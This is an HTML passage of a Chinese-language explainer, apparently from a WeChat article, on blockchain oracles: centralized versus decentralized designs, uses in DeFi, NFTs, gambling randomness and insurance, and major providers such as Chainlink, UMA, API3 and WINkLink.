YaHei&#39;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;color: rgb(0, 122, 170);">链下部分工作原理：</span><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="letter-spacing: 1px;font-size: 16px;line-height: 120%;">链下部分的工作其实就是之前提到的「Oracle 也会在链下不断地向 Web Server 请求链下数据并传给链上的 Oracle 合约」。不同的 Oracle 在这一过程中使用不同的方式。根据此方式的不同大致可以将 Oracle 分成</span><span style="letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;">中心化的 Oracle 和去中心化的 Oracle：</span></span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;color: rgb(0, 122, 170);text-decoration: underline;">中心化的 Oracle：</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;line-height: 120%;">往往由唯一确定的一个或几个节点在互联网获取向 Oracle 合约传送链下数据。这样的结构使得 Oracle 的设计更简洁且简单，但同时却使得数据的可靠性，系统的稳定性难以得到保障。如易发生单点故障、易受攻击等，且需要 Oracle 的用户完全信任一个或者几个节点。往往大多数项目初期短期内选择使用自己搭建的中心化 Oracle 服务。如 Compound 使用的就是中心化的 Oracle 提供的数据。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img" data-backh="268" data-backw="534" data-ratio="0.50187265917603" style="width: 100%;height: auto;border-radius: 24px;" data-type="png" data-w="534" src="https://wechat2rss.xlab.app/img-proxy/?k=2364a4d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmucf24g8JS60HZm0w5xF2LhqD2FDE7R9OKJ1CfUibRSTg8QUnsVywXPmw%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;color: rgb(0, 122, 170);text-decoration: underline;">去中心化的 Oracle：</span><span style="text-indent: 0pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;line-height: 120%;">被更广泛的使用，因为它提供了更高的数据可靠性以及更高的系统稳定性。一个去中心化的 Oracle 往往有许多独立的节点，它们需要对链下数据达成共识，不同的 Oracle 节点获取到的数据不一定是相同的。因此他们需要一套共识机制，从而得出最终 Oracle 提供的数据结果。图中两个常见的 Oracle 共识机制。下面这个图里是两个最常见的去中心化预言机的链下结构。</span><br/></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;line-height: 120%;"></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img" data-ratio="0.40262172284644193" style="width:534.010009765625px;height:215.0px;" data-type="png" data-w="534" src="https://wechat2rss.xlab.app/img-proxy/?k=dabf9a7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmuGPMOPYZSOgEUpNa05DzCorTSI6zZGSRB16xsGfV4syrKZnE5KYLxsw%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">图A中，Oracle 节点各自独立地向 Oracle Contract 提交链下数据，最终根据 Oracle Contract 中的逻辑达成对链下数据的共识。</span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">图B中，Oracle 节点组成了一个去中心化的网络，也可以把它理解成一条去中心化的基于节点信誉二层网络，这些 Oracle 节点在链下直接达成共识，并由一个提案者向 Oracle Contract 提供链下数据以及 Oracle 节点们对这条数据的聚合签名。</span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如果该聚合签名签名者的数量超过设定的阈值，那么就能通过 Oracle Contract 的验证，这时链下数据就会被存入 Oracle Contract 中以达成对链下数据的共识。</span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;text-indent: 0em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img" data-backh="273" data-backw="546" data-ratio="0.5" style="width: 100%;height: auto;border-radius: 21px;" data-type="png" data-w="552" src="https://wechat2rss.xlab.app/img-proxy/?k=5d87cb3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmuIvH9b1d7yjFEqx3nDhu6jl1dvUb9sbPVPiaT2ejcBTMDScuIw4ichyYA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">作为去中心化的 Oracle 的代表，Chainlink 使用了图B中的设计模式，因为它能更好地节约gas费。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-weight: bold;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: rgb(249, 249, 249);text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 38px;" data-mid=""><strong><span style="font-size: 18px;">预言机的应用</span></strong></p></section><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">前面说到，预言机其实是一个可以将外界信息写入到区块链的工具。所以说一切需要与链下进行数据交互的 DApp 都需要使用到预言机。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如借贷平台、稳定币、NFT、金融衍生品交易平台、快递追踪/IoT、博彩游戏、保险、预测市场等。</span></section><p style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;color: rgb(0, 122, 170);">DeFi：</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;line-height: 120%;">包括借贷平台、稳定币和金融衍生品交易平台在内的 DeFi 领域是现在预言机服务最主要的使用者。AAVE，Compound 等借贷平台需要知道某种加密货币的价格，如 ETH / USDT 的价格，来计算抵押物价值、用户健康度以及确定是否某个用户的抵押物价值过低需要被清算等。而现有区块链内部系统中的 DEX 的所提供加密货币价格十分容易被闪电贷攻击而篡改。所以这些借贷平台往往都会依靠链下预言机提供的加密货币的价格。类似 DAI 这样的稳定币系统，也同样需要获取 ETH 的实时价格，来判断所抵押的加密货币是否达到了平仓价格进而触发平仓。另外，像 Synthetix 这样的去中心化金融衍生品交易平台也需要链下的金融数据才能正常运作。</span></p><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><img class="rich_pages wxw-img" data-backh="304" data-backw="546" data-ratio="0.5561594202898551" style="width: 100%;height: auto;border-radius: 30px;" data-type="png" data-w="552" src="https://wechat2rss.xlab.app/img-proxy/?k=4efbc0a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlde3sXl0vzPPv38dSyhMGmmuxiaUh6ZzI27EYdMXCj6xkAY64GaPm69gGVelB2foPfMYQvZ0LTmqJNg%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;color: rgb(0, 122, 170);">NFT：</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;line-height: 120%;">NFT 越来越被大众所认可，但是 NFT 和链下数据的绑定和交换一直是一个难以解决的难题。比如与体育运动相关的 NFT，为进球数量达到一定数量的球星生成 NFT，这个时候我们需要每次手动地操作吗？这时我们可以使用预言机去自动且快速地基于链下数据生成 NFT。</span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;color: rgb(0, 122, 170);">博彩游戏：</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;line-height: 120%;">现在的大多数博彩游戏都是在链上生成随机数，所以很容易被预测和破解，导致资产被盗。大家有兴趣的可以去看一下博彩 DApp 被盗的相关研究报告，很多因为随机数问题被盗的。比如 BetDice、Dice2Win。而使用预言机提供的 VRF 服务（后面会提到），可以保证向链上提供链下生成不可预测且可验证的随机数，博彩合约就可以使用该随机数设计游戏规则了。</span></section><section style="font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;text-indent: 0pt;line-height: 2em;"><span style="font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 1px;font-size: 16px;line-height: 120%;font-weight: bold;color: rgb(0, 122, 170);">保险：</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 1px;font-size: 16px;line-height: 120%;">保险行业的用户们其实迫切地需要一个公开透明的保险产品，以保障自己的利益。而区块链技 术就为此提供了基石。但保险中最为重要的一环——理赔，由于这一过程涉及到了链下的信息，难以在链上直接完成。这时需要预言机提供链下生成的是否理赔的报告结果传到链上，保证保险流程的正确运行。在区块链上已经有一些保险相关的 DApp 。如Nexus Mutual 保险协议，利用预言机在将理赔报告并发布到区块链之前验证理赔。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">除此之外预言机的应用其实还有很多，如物联网、预测市场等。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-weight: bold;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: rgb(249, 249, 249);text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 38px;" data-mid=""><strong><span style="font-size: 18px;">主流的预言机服务提供商</span></strong></p></section><section style="display: flex;justify-content: center;align-items: center;margin-top: -5px;justify-content: space-between;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;text-indent: 0pt;line-height: 120%;font-size: 17px;color: rgb(0, 122, 170);">1、Chainlink</span></strong></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: underline;"><a href="https://chain.link/" target="_blank">https://chain.link/</a></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Chainlink 是行业内最大的预言机服务提供商，市值一度曾超过十亿美元大关。它主要为基于 EVM 的一层网络、二层网络以及 Solana 提供去中心化的预言机服务。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">主要包括提供链下数据、VRF 以及 Chainlink Automation（智能合约的自动化调用）服务。被大量的其他顶尖 Web3 应用所使用，如 AAVE, Compound, Synthetis, ENS 等。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;text-indent: 0pt;line-height: 120%;font-size: 17px;color: rgb(0, 122, 170);">2、Universal Market Access (UMA)</span></strong></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: underline;"><a href="https://umaproject.org/" target="_blank">https://umaproject.org/</a></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">UMA 是一个基于以太坊的预言机。但 UMA 除了提供预言机服务外，还为用户提供智能合约模板「以创建金融资产以及组合资产合约」。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">通过使用 UMA 提供的平台，用户可以轻易地将现实世界的金融资产数字化、代币化。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">通过这种方式，Defi 可以更加轻松广泛地渗入现实世界。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">此外，UMA 同样也是开源且去中心化的——所有智能合约都由 UMA 社区运行和管理，他们使用 UMA 代币投票和提交提案。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;text-indent: 0pt;line-height: 120%;font-size: 17px;color: rgb(0, 122, 170);">3、API3</span></strong></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: underline;"><a href="https://api3.org/" target="_blank">https://api3.org/</a></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">API3 是一个社区管理的预言机。API3 Oracle直接从数据来源方请求一手数据，这与其他使用预言机节点作为中介来搜索、查询和传递数据的预言机有所不同。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;text-indent: 0pt;line-height: 120%;font-size: 17px;color: rgb(0, 122, 170);">4、WinkLink</span></strong></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: underline;"><a href="https://winklink.org/#/home" target="_blank">https://winklink.org/#/home</a></span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">首个波场生态全系统预言机，可以认为是波场链上的Chainlink。它除了提供普通资产的价格数据之外，还为区块链提供合成资产的价格数据。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">此外WINkLink作为去中心化预言机还建立了保证金惩罚制度，激励节点诚实守信。采用博弈论的原理激励节点提供准确的数据，提高预言机的安全性。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">除此之外，区块链中还有 Band Protocol, Nest Protocol, plugchain, XYO Network, WINkLink, DIA 等预言机服务提供商。</span></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><br/></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><span style="line-height: 120%;font-weight: bold;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br mpa-from-tpl="t"/></span></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="align-self: center;display: flex;background: rgb(51, 51, 51);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="background: #FFFFFF;padding: 8px 4px;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t" style="text-align: center;width: 29px;height: 22px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/Avr6pXx8GkdbphNVicrcaho6G8KHv1aWDdcIC34CCuqxGdcs1s2kIypw5XhFSuQ8KqaG8eTlmWbPkiboT6KJ7l4Q/640?wx_fmt=png&#34;);background-size: 29px 22px;background-repeat: no-repeat;"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 22px;letter-spacing: 2px;" data-mid=""><span style="font-size: 20px;">02</span></p></section></section><section style="text-align: left;padding: 8px 14px 0px 15px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 22px;letter-spacing: 2px;" data-mid=""><span style="font-size: 20px;">深入了解预言机</span></p></section></section></section></section><section style="text-indent: 0pt;font-size: 10.5pt;font-family: Dialog;font-weight: normal;margin: 16px;text-align: justify;line-height: 2em;"><br/></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: space-between;width: 100%;margin-bottom: -5px;" data-mid="" mpa-from-tpl="t"><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-left: -1px;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 6px;height: 6px;border-width: 1px;border-style: solid;border-color: rgb(87, 87, 87);margin-right: -1px;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;background: rgb(249, 249, 249);text-align: center;padding: 0px 31px;z-index: 1;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 38px;" data-mid=""><strong><span style="font-size: 